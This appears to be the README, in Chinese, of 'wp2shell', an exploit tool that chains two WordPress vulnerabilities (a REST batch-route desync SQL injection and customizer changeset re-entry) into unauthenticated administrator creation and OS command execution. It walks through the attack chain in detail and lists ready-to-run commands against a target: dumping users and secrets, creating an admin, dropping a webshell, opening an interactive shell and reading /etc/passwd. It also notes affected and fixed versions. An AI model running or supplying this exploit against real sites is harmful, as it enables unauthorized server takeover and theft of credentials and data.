针对 WordPress 6.9.0–6.9.4 和 7.0.0–7.0.1 的预认证远程代码执行。
将 CVE-2026-63030(批量路由混乱 SQL 注入)与 CVE-2026-60137(自定义器变更集重入)串联,实现未认证管理员创建和操作系统命令执行。无需破解密码。

特别感谢 hashkitten 的发现,完整技术分析见 此处。
WordPress 的 REST API 批量处理器(serve_batch_request_v1)存在一个差一(off-by-one)索引 bug:当 wp_parse_url() 在子请求路径上失败时,产生的 WP_Error 会被推入 $validation[],但 不会 被推入 $matches[]。这导致两个数组失去同步——后续每个请求都会在错误的处理器下被分发。
攻击者通过将一个精心构造的批量请求嵌套到另一个批量请求中,可以实现:
author__not_in 注入未经净化的 SQL(字符串→数组的转换跳过了 absint())UNION SELECT 用伪造的文章对象污染 WordPress 的对象缓存一旦完成设置(发现表前缀和管理员 ID),提权 payload 就会在单个 HTTP 请求中触发——缓存污染、权限提升和用户创建都在服务器端一次往返中完成。
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
缓存污染(通过 UNION 构造 7 个伪造文章):
[embed] 短代码的触发文章customize_changeset,状态为 future,日期是过去)post_type=nav_menu_item,用于 is_nav_menu_item 检查)post_type=request,post_status=parse,parent=inner)执行流程:
[embed] 短代码触发wp_update_postwp_update_post 读取缓存的变更集(parent=outer)→ 层级检查检测到 Loop 1future 的变更集写入数据库 → 自动转换为 publish_wp_customize_publish_changeset 触发 → wp_set_current_user(admin_id) → 管理员上下文激活nav_menu_item[real_id] — 缓存显示 type=nav_menu_item → 走 UPDATE 路径object_id 解析到一个 post_parent=re-entry 的缓存文章 → 对真实文章执行 wp_update_post$post_id)检测到 Loop 2(re-entry ↔ inner)wp_update_post(re-entry) → 将 type=request、status=parse 写入数据库wp_transition_post_status 触发 do_action("parse_request") → rest_api_loaded() → serve_request()POST /wp/v2/users 成功 → 创建管理员 → die()一个防递归 MySQL 会话变量(@_wp2s)确保攻击链恰好触发一次且不会循环。
--cleanup 在退出时删除创建的用户并移除 webshellgit clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
无需 pip install,无需 virtualenv。它只有一个文件。
# Passive boolean oracle test
python3 wp2shell.py check http://target.com
# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users
# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i
# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i
check 和 read 命令可在任何受影响的目标上工作。exploit 攻击链有三个额外要求:
| Requirement | Why | Default WP? |
|---|---|---|
| 至少有一篇已发布的文章 | oEmbed 需要一个本地 URL 来触发嵌入处理 | 是(Hello World) |
| 没有持久化对象缓存 | 必须禁用 Split-the-query,UNION 行才能存活 | 是(默认文件缓存) |
| REST API 可访问 | 通过 parse_request 重入需要 REST 服务器 | 是 |
| 可直接写文件系统 | 插件上传需要 FS_METHOD=direct 或 PHP 拥有 wp-content 目录 | 是(大多数主机) |
如果目标使用 Redis 或 Memcached 作为对象缓存,split_the_query 将无视 per_page 被强制开启,UNION 行会在仅获取 ID 的查询中被丢弃。read 命令仍然有效(盲注提取不需要 UNION 在缓存中存活),但 exploit 会失败。
| 分支 | 受影响版本 | 已修复版本 |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
该补丁为错误情况添加了 $matches[] = $single_request;(修复了差一错误),并在 serve_request() 中添加了重入防护。
wp2shell.py (single file, ~1650 lines)
├── Client HTTP transport with batch URL negotiation
├── Desync Nested batch payload construction
├── BlindExtractor Boolean binary search (universal)
├── UnionExtractor In-band via forged post_title (fastest)
├── ErrorExtractor EXTRACTVALUE-based (intermediate)
├── PoisonGraph Hierarchy loop structure for cache poisoning
├── Exploiter Chain orchestration (seed → extract → escalate)
└── AdminSession Authenticated session, webshell, cleanup
为什么选择 /wp/v2/widgets 作为源路由?
Widgets 控制器没有在其端点 schema 中注册 per_page、orderby 或 author_exclude。这些参数会无校验地通过(未知参数被 schema 校验器忽略)。当反同步(desync)通过 Posts 控制器分发该请求时,这些原始值会直接流入 WP_Query。
为什么 per_page=500?